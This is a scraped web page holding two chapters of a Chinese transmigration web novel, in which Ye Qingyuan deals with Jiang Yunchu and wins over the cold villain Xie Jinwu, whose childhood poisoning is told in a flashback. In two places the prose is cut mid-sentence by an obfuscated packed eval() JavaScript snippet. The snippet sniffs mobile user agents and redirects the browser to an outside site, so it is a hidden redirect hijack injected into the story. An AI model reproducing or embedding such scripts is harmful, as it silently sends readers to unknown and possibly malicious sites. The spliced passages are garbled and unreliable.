于是,足足一天之后,江云初终于熬过了药劲。刚一醒转,便找她算账来了。 然而,背锅的却是刚穿越过来、连来龙去脉都不甚清楚的叶清圆。 4. 第 4 章 观棋亭的四面垂挂了竹帘与纱帐,为了能叫亭下之人感受到湖风吹拂,竹篾帘子便颇为风雅地卷起半边,轻纱亦随风摇曳,在外头仅能瞧见亭中影影绰绰的朦胧人影。 叶清圆坐在凳上,心中暗自感叹,原身家中果真是阔绰,移步易景,一座宅院的布景之奢侈,便抵得上一方小小的城池。 江云初端坐在对面,目光似带着忧心,苍白的脸颊上亦显出几分憔悴。 她谢过丫鬟添来的清茶,直截了当道:“叶小姐,昨夜里你可在府中?” 她话音落下,一旁丫鬟添茶的手腕一颤,对她口中所言颇为惊诧。 不比俗家女儿的条框规矩,江云初自小便是当作江氏继承人来培养的,万事讲求效率为先,开口也颇为直爽。 叶清圆挥了挥手,叫丫鬟退下,随后努力作出一副认错的模样,“不瞒姐姐,我昨夜确实不在家中。” 江云初的眉心拧着,嗯了声,又严肃问道:“叶小姐昨日敬我的那一杯酒,可有毒?” 饶是清圆心态良好,此时也有些绷不住了。她羞愧得快要将脸埋进茶盏里头去,珊瑚耳坠映得颊边也有些浅红,轻轻点头:“……有。” 江云初嘴唇一抿,手指捏住杯沿,刚要发作。清圆立即道:“不过!我昨夜确实是担心姐姐你的安危。” 她放下茶盏,一双眼睁大了,透出些清澈的无辜,诚恳道:“那山上的妖怪多厉害呀,而且最喜欢吃的就是美貌的小姑娘,姐姐孤身一人,不带任何护卫就要去捉妖,实在是危险。” 原书中,江云初虽修为颇高,却总不得已深入危险境地,降妖镇厄时也常常受伤。作为一个名副其实的温室花朵,叶清圆看书时是真的心疼江云初。 清圆伸出手,拉住江云初搁在桌面上的手,发自内心道:“这里有我们叶家在呢,不能让姐姐一人身犯险境。” 江云初隔着茶雾望她。 她抵达初阳镇之前,族中侍卫还委婉而言,说这位叶家大小姐在当地是出了名的任性霸道、蛮横无礼,自己到时能避则避,尽量不要与她过多接触,闹得麻烦缠身。如今一见,这姑娘却是语笑轻轻,稚嫩率真,笑起来眉眼弯弯,一派的纯真与坦荡。 她默默想:叶清圆毕竟是这茶庄庄主的独生女,自小就体弱多病,必然也是被宠爱大的,纵使是娇气了、犯蠢了,有些小脾气又如何?侍卫们却夸大其词,将可爱说成是蛮横,可见这些侍卫个个是迂腐脑袋,不懂什么是娇憨。 眼见江云初的眉头稍稍舒展开来,清圆赶紧垂下眼睫,趁势道:“但是话说回来,昨日我的做法确实欠缺考虑了,万一把控不好那药的力度,伤到了姐姐,我可真是犯下大错了。” 江云初听了这话,怔愣之余,又不由恼得撤出手,轻声责备道:“你千算万算,就没为你自己考虑一点吗?那大妖凶险非常,你一个毫无修为灵力的姑娘,不说好好在家里待着,竟敢谈什么降妖!万一受了伤,我怎么跟爹爹和叶伯父交代?” 她事事都是从大局考虑,顾忌的是叶氏与江氏两家的颜面。叶清圆这般不计后果的做法,自然为她所恼怒。 清圆扬起脸,唇边漾出梨涡:“姐姐不必担心,现下我毫发无损呀。” 见江云初的目光落在她缠着纱布的手腕,她眉眼弯弯,手指扯了云纱袖口将伤口遮掩住,又笑道:“一点小伤而已,过不了几日定会痊愈的。” 江云初见她实在不把自己的安危当回事,目光中透露出责怪之意,却也顾忌自己外人的身份,不好再说什么,只抿了抿盏中清茶,起身去寻叶肃商议接下来的对策。 终于过了江云初的“盘问”,叶清圆松了一口气,起身倚在亭角竹帘下挥手相送,唇角紧绷着的客套笑容也逐渐消融。 她穿越过来的时日太短,尚且来不及融合原主的记忆,原书中又几乎没有提及叶府的事,这就导致她对周遭的一切都如隔了重重迷雾般,瞧不真切。 江云初如此玲珑心思,但愿自己的说辞能获取她的信任吧。 她揉了揉笑得发酸的脸颊,素手撩开月白纱帐。 自亭中放眼望去,却见湖岸梨树边空无一人,那道颀长修硕的身影消失不见,唯有满树梨花纷乱如雪。 - “恭喜宿主获得重要道具——《点灵》!请宿主用心修习书中符咒与口诀,并始终、时刻将此道具带在身边。” 惠风和暖,檐角垂挂的竹篾帘子哗哗作响。屋里点着香,微烟袅袅,清甜又沁人心脾。 叶清圆午睡醒来时,尚且头脑昏沉,她不唤丫鬟,自己穿了一只鞋,另一只脚裸.露着踩在鞋面上,歪在床榻醒盹。 暖风卷过案头的古书,簌簌作响,吹起帷幔飞扬,拂在了她热乎乎的面颊上。 叶清圆颇为倦懒地挪到窗边书案,用力揉了揉脸颊之后,重又将目光落在案上这本古书上。 这是她从原身的书架顶层寻到的一本书。书落了灰,无名,唯在扉页以朱笔写了两个大字:“点灵”。却是有些年头了,纸页都泛黄脱落,还散发出一股子陈旧潮湿的气息,难怪被原身束之高阁。 她随意翻了翻,认出了许多符咒以及秘诀,但终究无论内容还是图案都透出一股子诡谲,读来晦涩难懂,可据系统提示,这本书还是个重要道具。叶清圆没办法,恰逢最近没有发布新的任务,干脆接连几日什么都没干,只拿出期末考试通宵复习的劲头,取出纸笔,艰难地啃起这本书来。 半个时辰以后,叶清圆瞧着宣纸上满满的歪扭符咒,痛苦地闭上了眼睛。 她真的没有绘画天赋,平生所学不过是自娱自乐时的极简线条,画个火柴人还行,可是像符咒这样复杂的图案,她甚至很难理清笔墨的走势。 更遑论,此书扉页就开门见山:“书符时,务要心澄,端坐妄想悉除。”① 她如今既有来自谢尽芜的性命威胁,系统又贴心地总给她补习一些惊悚诡异的邪祟小知识,闹得她夜里睡觉都不安生,总梦到谢尽芜提剑领着一堆邪祟满世界追杀她。她的黑眼圈都重了好多,又如何能够心静? 想到此处,叶清圆更觉烦闷。好巧不巧,她刚腹诽过系统的无情,脑海中立刻响起一道冰冷的嗓音:“宿主已经触发主线任务二:攻略反派谢尽芜。请宿主按照提示,尽快提高攻略对象的好感度。” 好巧不巧!偏在此时催促她推行任务! 叶清圆撑着脸,思索片刻:“系统,你一直在强调主线任务二,那么主线任务一是什么,怎么从来没听你提起过?因为我还没有触发任务一吗?” 一瞬的沉默后,系统给予回答:“主线任务一:给江氏独女江云初替命。宿主穿越之时自动触发该任务。” “替……命……” 古旧薄脆的书籍啪地摔到膝头,又坠落到地面,清脆的纸页破碎声。 叶清圆的心也缓缓下沉:“你在开玩笑吗?我穿越过来是为了送死?” 系统随即提示道:“主线任务一所在的副本时间线靠后,宿主有充足的时机反悔。提醒一:反悔无效,反悔的宿主将被系统优化。” 叶清圆一脸震惊。被系统优化?原来系统是个万恶的黑心资本家。 系统耐心地等她接受现实:“提醒二:若先完成主线任务二,则主线任务一自动无效。” 也就是说,如果她先攻略了谢尽芜,就不用再给江云初替命了? “什么?”叶清圆捏紧了拳头,忍不住抓狂道,“莫名其妙!任务二也并不好完成啊!谢尽芜是谁?他可是手段狠毒、心冷似铁的大反派,生平最爱虐杀人类了!我怎么攻略他?” 系统不言,冷漠地隐去了身形。 窗外淡淡的日光照进来,花影凌乱。 叶清圆斜倚在窗边,手中捧了一本书,眼睫低垂,面容姣好,发间珠玉随风轻撞发出清脆声响,乍一看绝对是位颇有教养礼仪的世家贵女。 实际她牙关暗咬,指尖用力,险些将薄脆纸页捏出个洞来。 - 谢尽芜被强行留在了叶府。 根据叶肃的说法,那晚是谢尽芜在山腰荒宅中救下了他的女儿叶清圆,所以,叶肃将他视为救命恩人,千恩万谢,非要留谢尽芜在府中住上几日,好好招待。 穿越几天,叶清圆也差不多摸清这个便宜爹的性情脾气了。叶肃此人,虽多年经商,却并未沾染太多商人的那股奸诈精明之气,甚至有几分内秀在,是个饱读诗书的儒商。他坏心没有,细碎磨人的道理却是不少,尤其喜爱在饭桌上彰显他那无处安放的迂腐才华,常闹得叶清圆饭也吃不香,眼中望着碗里香喷喷飘着油花的鸡汤,脑海里浮现的却是足以毁灭食欲的古书经籍。 而谢尽芜呢,他独身惯了,想必更愿意去住客栈。奈何敌不过叶肃的软硬兼施,他又向来端方知礼,至少面上是极少与人惹出不快,或许也是再三推脱无用,才只好在叶府住下。 叶清圆带着丫鬟去找他时,同样是满脸的不情愿。 虽说见谢尽芜是为了获取他的好感度,但她却并未特意梳妆打扮。衣裳还是穿惯了的玉兰上襦和棠梨长裙,只开妆屉取了支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445916|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠花发簪戴上。 谢尽芜一身玄衣绣制暗纹,剑鞘也是冷白素雅,必定是不喜太过奢华艳丽的装扮。叶清圆想了想,反其道而行之,走过风雨连廊时又探手摘了枝嫩黄的迎春,簪在鬓边。 攻略什么的,暂不提。最好谢尽芜对自己是没有杀心,却也生不出好感。 叶清圆揉了揉额头,整顿好精神,脸上挤出一个笑来。 连廊的尽头是一道垂花月洞门,分花拂柳地过了门之后,眼前视野豁然开阔起来。入眼一座拱形的木柞红桥,桥下流水潺潺,浮光跃金,木桥另一端的空旷地方则生了好大一株银杏树,枝叶繁盛,遮天蔽日。树下石墩上端坐一人,腰背笔直,正在拭剑。 正是谢尽芜。 叶清圆提着裙角踩过木桥,站在桥顶笑眯眯地望他,尚未开口呼唤,谢尽芜却早已察觉到她的到来,同样转过脸看她。 二人的目光猝不及防撞到了一起。 她站在桥顶,明暖的阳光泼洒一身,沾染得她的莹白脸颊也暖洋洋、甜腻腻的,眼中盛满了明晃晃的笑意,仿佛阳光再热烈一些,她就要溶化在这里了。 可谢尽芜端坐在树下阴影处,斑驳的阳光从银杏叶子的缝隙漏下来,点在他淡红的唇角与飞扬的眉梢,却没能暖到他半分,一双漆黑的瞳仁中满是毫不掩饰的冷漠与戒备。 叶清圆被他的眼神盯住,顿时像被咬住了后颈的猎物,浑身温度都降低了几分。 她脸上笑意僵住。这个大反派,还以为他至少要再伪装一段时间,竟这么快就忍不住原形毕露了? 谢尽芜的眉目依旧深邃冷清,似天上寒星,乌浓的眉睫又惯常性地压低,给人一种无形的压迫。他淡声开口:“叶姑娘。” 叶清圆一个激灵,珊瑚耳坠慌张地晃了晃,“谢……谢公子,下午好呀。” 她心中暗自给自己打了气,这才提裙下了木桥。 今日的谢尽芜似乎心情不是很好,眉目冷淡,唇角微抿,擦剑的手指关节用力得发白。叶清圆走近他身边,才迟钝地察觉到,他的额头竟是出了一层细密的薄汗,碎发沾湿了贴在脸颊皮肤,显出几分难得的脆弱来。 此时落日熔金,霞晖浓烈,却并不热。 叶清圆开口,语气是故作的轻快:“谢公子在练剑呀,真用功。” 谢尽芜收剑起身,颇为矜持地颔首:“闲来无事,打发时间罢了。” 他原本这样端坐在石墩,叶清圆居高临下地望着他,身后是浩大普照的落日,首先这气势就赢了,至少与这大反派相处时不那么发怵。可他一站起身来,二人相对比,他的身量却足足比她高出大半个头来。他的肩背又宽,身形修长挺拔,眉目压低时自有一股冷冰冰的攻击性。 叶清圆讶然地随着他动作缓缓抬头,气势上也逐渐矮了一大截,不由得悄悄撅起嘴巴。 但,不服只是一瞬间,她很快恢复礼节性的微笑:“闲暇时光都要练剑,精进自己。谢公子今后必定大有所为。” 她站在落日里,眉目两弯,披帛轻扬,唇角带着淡淡的笑。满身碎金般的日光,白皙清润的侧脸也被镀上一层淡淡的金光,不像什么蛮横的大小姐,真像是庙宇里眉目低垂的菩萨。 可也不完全像。菩萨的眼中满是慈悲,却可曾有这般稚嫩纯真的眼眸? 谢尽芜的目光极轻地掠过叶清圆的脸,神色复杂一瞬,并未回答。 他并不领情:“叶姑娘来此有何事?” 叶清圆早有准备,将怀里一直抱着的木盒递给他,抿唇一笑:“本就该感谢公子先前对我的救命之恩,可近日一直不得闲,甚是遗憾。恰好今天午后有空,就特意做了些点心请公子尝尝。希望公子不要嫌弃。” 先不管他心里怎么想,自己开口这一番话须得说得圆融、漂亮,既给足了谢尽芜面子,又彰显出她的有礼知节。 谢尽芜听过之后,脸色果真缓和了少许,浓秀的眼睫微垂,低声道谢。 他打开木盒。盒中放了碟盏,上托着各样糕饼,表皮嫩白,内里是抹茶的浅绿,软糯清香,碟子上又点缀了茉莉花,小巧玲珑的一朵,足见心思精巧。 叶清圆双手负在身后,脸上带着笑,眼中有些小小的得意,仿佛在等他惊叹。 谢尽芜复又看她一眼,长眉微拧,神色复杂,片刻后忽地笑了,“叶小姐百忙之中还要亲自做这些玲珑的糕点,在下真是受之有愧。” 他特意加重了“亲自”的语气,目光一瞬不转地看着她,笑意中有隐隐的戏谑,“——是叶小姐亲手做的吗?” 5. 第 5 章 叶清圆仰着脸与他对视。 二人身量相差许多,可此时他微低下头,眉眼含笑,并不再有那样睥睨倨傲的冷漠,倒像是初春溪水里消融浮动的碎冰了。 她有点小孩子心性,喜欢漂亮的人事物,此时见谢尽芜笑得好看,自己也忍不住高兴起来,抬起下巴“嗯”了一声。 “是吗?”谢尽芜又问了一遍。 她理不直气也壮:“是呀。” 当然不是。她不过是吩咐小厨房,按照谢尽芜的口味将内里的莓果改成了抹茶,去了甜腻,换成清苦而已。她生平厨艺巅峰也就是一碗卧了荷包蛋的泡面,怎么做得来这些细巧的功夫呢? 再者,谢尽芜也配吃上她亲手做的豪华泡面吗? “那真是劳烦叶姑娘。” 不劳烦,跟小厨房说句话的事儿。叶清圆催促他快尝尝滋味,随口道:“谢公子还怕我给你下毒吗?” 谢尽芜扬起眉:“防人之心不可无。” “我若要害你,早派人在你的日常饮食里做手脚了,还用得着亲自来送小点心?你想啊,你若出了事,我岂不是成了最大嫌疑人?”兴许是一番好意被辜负,叶清圆的眉微微蹙着,神情有些不悦。 她话刚说完,才后知后觉地反应过来,自己仿佛是在发脾气呢,怪他怀疑自己,这可不好。谢尽芜本就谨慎敏感、做事堪称心黑手狠,或许哪一句话惹怒了他,他恼得把自己直接毁尸灭迹也有可能。 心下惴惴,可抬眼看,对面的人居然轻笑了起来。 并非以往那始终含着嘲弄、阴狠的冷笑,他的眼里堆满了切实的笑意,眉目舒展,唇角勾起,漆黑的眼瞳被落日投射出亮晶晶的碎光,唇红齿白,连细碎的发丝都耀眼。 谢尽芜笑得真心,恍惚间竟觉出有趣。他孤身闯荡多年,早就看遍了这世上的人心险恶、表里不一,世人虚伪,手段越肮脏狠毒,就越要在表面上做出一副光风霁月的模样,手上沾血越多,礼佛修道就越心诚。纵使是那些不谙世事的少爷与贵女,也自有一种懵懂天真的恶。 而这种“尚且无知”的恶,通常比明晃晃的恨意,来得更叫人感到彻骨严寒。 方才他只不过随口试探她一句,她的脸颊竟因羞恼而微微泛了红,又那么气愤地辩驳起来,下巴高傲地抬起,仿佛她的世界从来都是干净澄澈,无法容忍他这个陌生人去误解半分。 谢尽芜讶异过后,蹙眉细看她片刻,果真没在她脸上瞧出来一丝的心虚。 她的眉眼坦荡,脸颊也因此更显得莹润清透,是明月般皎洁,笔墨难描万一。 于是谢尽芜舒展眉目,就这么看着她,忍不住,忽地轻轻笑了。 有这么好笑吗? 叶清圆险些被他吓到,心想此人果真是捉摸不定,先前如何好言好语都难见他一个笑容,此时在他面前随性而为、甚至要出言冒犯,他反倒开心起来,乐得眉眼都弯弯。 她真觉得莫名其妙,就这么睁着一双大眼,神情认真,一瞬不移地看他笑。 只要我不尴尬,尴尬的就是别人。 果真,谢尽芜触及到她的目光,终于意识到不妥,这才渐渐收敛了笑容,垂下眼睫轻声道:“叶小姐的一番好意,谢某却之不恭。” 说罢,取出酥酪咬了一口,慢慢咀嚼着。 他相貌生得好,脸颊白得欺霜胜雪,一双眼瞳却如黑曜石般殷润疏离,不笑时尤带一种冷冽的美。吃相也极为斯文,他或许也没觉得抹茶糕的味道有多好,眼里涌上一点点冷戾,也没有看叶清圆,低头又咬了一口。 叶清圆看他吃东西看得有趣,忍不住问:“好吃吗?” 谢尽芜这才察觉她的目光,随即敛起眉,神情沉肃,冷声道:“叶小姐竟有看别人吃东西的爱好吗?” 叶清圆对上他的目光当即就心生怯意,“谢公子说笑了,当然没有。我只是要看谢公子喜不喜欢这些点心呀……” “若好吃,我们下次再做就是了。” 吃人嘴短,拿人手软。叶肃非要招待谢尽芜在此居住是他的事,重点是自己亲自来给他送些甜头、好处,拿了好处,今后他就不会对自己太过分的吧? 至少不应该凭心情就将她囚禁在潮湿阴暗的地牢,还动辄要断她的手脚。 灿金色的余晖逐渐移到朱红栏杆上。叶清圆提了裙摆踩过青砖,干脆坐在了石墩上,与他并肩,眯起眼看这一场落日。 谢尽芜转头瞥她一眼,诧异于她的不见外,却听她轻声问道:“那谢公子喜欢甜食吗?” 谢尽芜垂眸,木盒中一只碟盏已经空了,唯有一些抹茶粉洒在盏底,盏底是一朵细笔勾勒的栀子花。 他站起身欲离开,语气冷硬:“不喜欢。” 甜腻的糖霜之后,总会藏着锐利的刀锋。 小孩子都爱甜食,越是换牙的年龄,对甜腻腻的东西就越是渴望。 他也曾对街边的冰饮子与各样点心颇为渴望,那霜雪一样的碎冰上浇着一层红豆乳糖,单看卖相就足够他馋一回了。 他怔愣地站在摊子前的一个小角落,目光紧紧盯着甜腻腻的糖霜,用力嗅了嗅,暖风中似乎都闻得到那一阵柔软甜香。 “爹爹,我要吃这个!”是手持着拨浪鼓的小姑娘跳过来,细嫩的手指正巧点了他盯着的那一碗,谢尽芜茫然地抬头望去。 跟在小姑娘身后的是一名身着锦衣的中年人,蹲下.身搂住她的肩,“我们乖宝想要哪个都好。”笑着付钱,哄得小丫头一阵欢笑,那摊主做了生意,自然高兴,一张脸也笑得褶皱如花般盛开。 唯有谢尽芜,可怜巴巴地缩在摊子前。他衣衫褴褛,小小的个子,身板也瘦弱,真是一个落魄的小乞丐,可怜得甚至分不到他们的半点余光。 那对父女走了,摊主一转头,忽地瞧见了他,脸色当即变得铁青,嫌弃地挥袖像是在赶一只苍蝇:“哪儿来的小叫花子,真没眼力见,买不起在这儿瞎晃悠什么?一身破烂把爷的客人都吓走了,去!快滚!” 如瞧见瘟神疫鬼一般,唾沫星子都要喷在他脸上。谢尽芜猝不及防被骂了一通,吓得后退半步,脸色都白了,眼瞳也逐渐湿润,凝成一滴泪坠在睫尾。 摊主看了更气:“哭什么?叫你走还不快点?饿肚子了就自己去捡些东西吃,我这些点心可不管饱!” 惹来周遭一阵此起彼伏的嘀咕声:“这穷小子真是讨厌,今年收成都不好,家家都没有余粮,谁会有东西给他吃?” “……在这附近晃悠许久了,不知从哪儿来的。衣裳这么破旧,却看得出是缎子裁剪的,兴许是哪家的少爷,走丢了吧?唉,不管他。” “没听见过他说话,怕是个哑巴,被家里人扔了。还是个孤儿?” 刻意压低声调的话语如利剑一般扎进他心口,谢尽芜小脸苍白,牙关颤抖着死死咬住嘴唇,他用弥漫了雾气的眼眸扫视了一圈,从胸腔里吼出声音:“我不是孤儿!我爹娘根本没有扔了我!你们都在胡说八道!” 说罢,用力推开前方的人,拼命朝着人少的地方跑去,也顾不得擦去眼泪。谢尽芜倔强地咬住嘴唇,眼前视线模糊,却无论如何都不肯哭出声音。 纵使有天大的委屈,打碎了牙和着血往肚里吞,也不许叫外人看见你的弱点。 ——这是楚姨一直教导给他的道理,他不敢忘。 谢尽芜就这么一路狂奔,完全没有留意身后隐隐的孩童笑闹声。 一炷香后,他放缓了步伐,沿着崎岖的土路慢慢走着。此处已经快要出城,人烟稀少,草木繁盛,小路的尽头隐隐现出一座红墙建筑。 这是一处年久失修的城隍庙,砖瓦略显斑驳,沉沉地立在道旁树荫之下。 谢尽芜的心慢慢安定下来,脸上泪痕早已被风吹干,唇角也挂上微笑。流浪太久,这一方小小的庙宇早成了他心里的寄托。因跑得太快,呼吸颤栗中泛出了淡淡铁锈味,谢尽芜轻咳几声,唤道:“雪球!雪球!” 熟悉的叫声并未出现,谢尽芜又唤了两声,转身踏进庙门,顿时一怔。 破旧的城隍像下竟是立了几道身影。 为首那少年与他差不多大的年纪,相貌虽称得上端正,眉宇中却自生一副狂傲睥睨之态,将谢尽芜自上到下打量了个遍,笑道:“终于回来了,等了你好久。” 谢尽芜顿生防范,站在高高的朱红门槛外面,不肯再进一步:“你们是谁,等我干什么?” 身后仆役看他这副警惕的样子,都忍不住无声嘲笑。为首那少年上前一步,眼中勉力挤出几分诚恳,温和道:“我方才在街市上见到你了,你想吃红豆冰酪,是吗?” 说罢,手掌一拍,一名仆役自后头绕出来,手中捧着一碗冰酪,揭开木盖子,冷雾与甜香顿时在这昏暗的庙宇中氤氲开来。 谢尽芜微微别过脸:“楚姨说,不许吃陌生人给的东西。” “不是陌生人,”少年从仆役手里端过冰酥酪,“你或许不知,这座城隍庙对我姐姐有恩呢。当初我姐姐患了重病不醒,是我娘亲得了高人指点来此诚心祭拜了半个多月,姐姐才逐渐好起来。如今你暂居在此,就相当于我的半个恩人,我自然要好好报答你啊。” 谢尽芜的脑子混沌沌的,多日的饥饿与红豆的甜香让他的脑子如同被迷雾遮住,运转不得。 他太饿了,以至于失去了理智,更失了防范,他像是个提线木偶,懵懂地点点头,竟接受了眼前之人的说辞。 红豆的甜腻软糯在口中化开、弥漫,谢尽芜的手指却颤抖着。 少年的声音遥远得好像从天际传来:“你今年有六岁吗?小小年纪,沦落在这里做乞丐,真是可怜,你一定生活得很辛苦吧?瞧你瘦弱的样子,多久没吃过东西了?” 谢尽芜小声道:“七岁。” 那少年居高临下地俯视他,目的达成,低沉的声线中便逐渐显露出凶狠,一双眼亮得吓人,仿佛觉醒了原始杀性的兽:“活得这么痛苦!干脆让我助你一臂之力,自此解脱。” 一道刺目的亮光自眼前闪过! 尖锐剧烈的疼痛从腹中汹涌而来,麻.痹的痛苦如同江水倒灌,猛烈冲击着他脆弱敏感的神经。谢尽芜苍白细嫩的手指颤抖着,冰酪“砰!”地一声,摔碎在地。 汹涌的鲜血从口鼻中呛出,将胸口衣襟染得殷红。 那少年再不掩饰对他的恨意,抬起一脚将他踹倒在地,恨声道:“一个叫花子养的死狗,竟敢吓到我姐姐,你算个什么东西?!” 谢尽芜仰头栽倒,脑袋与肩膀狠狠磕在冷硬的砖地,痛得他半边身子立刻失去知觉。他浑身冰冷,顾不得满身的尘土,强忍着剧痛问:“……雪球,雪球在哪里?” “那只死狗吗?哈!”少年眼神凶狠如刀,“它已被我大卸八块丢入臭水沟了,你若想见它,不如求我给你来个痛快。” “你……!”谢尽芜捂住腹部的小手紧攥成拳,一双眼隐隐含泪。 他骤然暴怒起来,刺骨的疼痛竟已察觉不到,纵身跃起,右掌就要向那少年打去! 那少年有功夫傍身,反应速度不是谢尽芜可比,一个闪身就躲过了他的“掌风”,随后手腕翻转,自腰间抽出一柄锋利的短刀,“噗嗤!”刺进了谢尽芜的手臂。 “臭小子,命比草贱的家伙!我杀你不过碾死一只蚂蚁,竟还想反过来打我?”说罢,竟掂了掂那柄短刀,作势要向他心口刺去,“总归这地方人迹罕至,死个小孩也不会有人在意!” 这时,身后仆役小声道:“少爷,太阳要落山了。还是早些回去,免得老爷责罚。总归这小孩子已服了剧毒,断气也是早晚的事。” 那少年虽狂妄嚣张,却畏惧责罚,冷哼一声,又重重在他胸口踹了一脚,才终于带着人大摇大摆离去。 最后一抹熔金般的夕阳穿过古树缝隙,投映在城隍铜像。 谢尽芜歪倒在供桌前的破旧草席,痛得毫无动弹的力气,苍白的唇角带了血,眼中含泪。 他雪白的脸颊与下巴沐浴在落日余晖中,一双黑曜石般的眼瞳却逐渐隐入阴暗。 他才不会喜欢吃甜食。 他这辈子都不愿意见到这些东西了。 可叶清圆听了这句语气生硬的“不喜欢”之后,却满不在乎地一笑。 她歪着头,眉梢眼角都是跳跃的、温柔的光芒:“不喜欢就不喜欢呗,每个人都有不喜欢的东西啊。谢公子这次告诉我了,那我就知道了呀,下次不会再送这些你不喜欢的食物了。” 谢尽芜的思绪从宛如炼狱的回忆中挣扎出来,穿过呼啸的岁月与潮水般的痛楚,像是从幽寂的深海中浮起,终于得见天日,在澄澈如洗的天穹下,撞上她那双带着明媚笑意的眼。 叶清圆思考一瞬,眼中亮起狡黠的笑意。 她缓缓地靠近谢尽芜,压低声音,仿佛是小孩子在与他交换一个秘密:“那你喜欢饮酒吗?悄悄告诉你,我会酿葡萄酒哦。” 她离得太近,衣袖的轻纱垂下来,拂在他的手背上,一阵痒意。 谢尽芜不自在地挪开了手,可迟来一步的嗅觉又开始作乱。她身上那种姑娘家特有的甜腻香气,像水草一般,一蓬一蓬地缠绕住他。 叶清圆丝毫未觉,见他不答,还以为他想喝却不好意思说,于是决定自己主动一点,向他抛出橄榄枝:“等以后有时间,我酿葡萄酒给你们喝,好吗?” 谢尽芜的唇抿成薄薄一线,耳尖泛出浅红。他忽然起身,连招呼也没打,快步离开了此地。 “……” 叶清圆一脸茫然地看那道背影逃避似的离开,后知后觉地反应过来,心里便泛起一点失落与挫败。 甜点也不喜欢吃,葡萄酒也不要喝,他连吃的都要拒绝? 老话说,一个人若是泯灭了享受美食的欲.望,便也泯灭了人性。 就谢尽芜这种清心寡欲,冷如坚冰的性情,若问他还有没有人性嘛,啧,还真难说。 - “小姐,起来吃药了。” 窗外夕阳如熔金缓缓流泻,勾勒出睡榻上朦胧的一道人影。 叶清圆发梦似的应了一声,睡眼朦胧地盯着头顶帘幔许久,才猛地一震,惊坐而起。 她现今可不是在安全系数极高的大学宿舍,而是穿越到遍地危机、随时可能丢命的奇诡世界。 她先后与江云初、谢尽芜两人斗智斗勇,已然将所有脑细胞消耗殆尽,于是午膳时狠狠服用大量碳水,却不想直接晕碳,一头栽倒在床榻睡了半下午。 叶清圆揉了揉眼,她睡得头脑昏沉,骤然惊醒后神情茫然,气若游丝地问:“你刚才说啥?” 丫鬟又说了一遍:“小姐,起来吃药了。” 好熟悉的一句话。 叶清圆闭上眼,一脸菜色:“姑娘,请你以后不要再这么讲,好吗?” 丫鬟吓得托盘里的药都险些洒落出来,低头道:“奴婢不敢!” “天怎么都黑了?”叶清圆穿上软鞋,拉开帘帐向外看了看,“我可真行,竟然睡了一下午。” 丫鬟端着托盘绕到她身前,那碗药都快杵到了她脸上,轻声道:“小姐……用药吧?” 一股苦涩发酸的气息传来,叶清圆垂眸看这碗黑乎乎的汤药,忍不住的恶心:“这什么啊?” “是给小姐补身体的药啊,”丫鬟很是疑惑,“小姐体虚,每天都得吃药滋补的。” “体虚就好好吃饭,好好睡觉,多晒太阳,多跑步呀,干什么非要吃药?岂不知是药三分毒?”叶清圆皱眉道,“我不喝,拿走!” 她嫌弃地挥挥手,将那丫鬟赶走了。 小丫鬟惊讶得睁大了眼睛,偷眼打量自家小姐,分明是未变的相貌,却总觉得哪里有些不同。 非要说的话,似乎是眉眼更温和了,眼瞳也清亮。不再是脸颊寡白、眸光浑浊畏怯的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445917|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 还比先前更能吃能睡了,午膳时竟干掉了两碗白玉粳米饭,外加一盆排骨。吃饱又去湖边散步消食,回房倒头就睡,外头花藤架子都塌了也没见她醒。 丫鬟小心地掩饰住眼中的疑惑,正要推门出去时,又听自家小姐吩咐道:“我想吃葡萄。” “……是。” 过了一会儿,那丫鬟将葡萄端进来,禀告道:“老爷说今晚要带人上山,叫小姐一人在家乖乖待着。” 叶肃近日颇为忙碌,竹妖已被收服,阵法也破了。此时他要带人上山,应该是随着江云初一起,去做些收尾工作。 叶清圆暗暗叹息。 叶肃其实很少与原身见面,若有什么事吩咐,也是由丫鬟转述。因此,纵使居住在同一个屋檐下,原身也很少可以见到这位热面冷心的父亲。 也不知叶肃究竟为何不待见原身,因为她自小“体弱多病”吗?不可能呀。 父母若爱子,则该是想方设法为她滋补身体,多些关爱呵护。而不是这样终日将原身困锁在宅子里,不许她出去。 况且,哪有父母因为孩子生病,就不爱孩子的? 而且,原身的娘亲呢?怎么不见她? “小姐先前要的葡萄,方摘下来的,因着天热,特意放井水里镇了镇,小姐尝尝?”丫鬟将托盘搁在桌上,又打开妆匣取出象牙梳,颇为伶俐地为她挽了个交心髻。 那葡萄绿莹莹的,泛着剔透水珠,单是闻起来便足够沁润清甜。叶清圆揪了一个送入口中,嚼啊嚼,同时眼含艳羡地看向铜镜中人。 不得不感叹,叶府大小姐的日子果真滋润极了。 叶清圆更想不通了,原身究竟是抽的哪门子疯,放着锦衣玉食锦绣丛里的生活不过,非要做些暗中害人的事。 自己过得不痛快,便也要找别人的不痛快吗? 她打开粉彩匣子,取了一支流云团扇出来,正打算去湖边吹吹晚风,丫鬟慌忙拦住了她,将一个锦囊送到她手中:“小姐,老爷另有一物要小姐贴身收好,无论去哪儿都要带着。” “什么?是护身符吗?”叶清圆怔了一下。 明黄的符纸,上用朱砂写了一道符,灵力雄浑霸道,竟隐隐有光华流转。 淡淡的一线月光透过窗纸照在书桌。 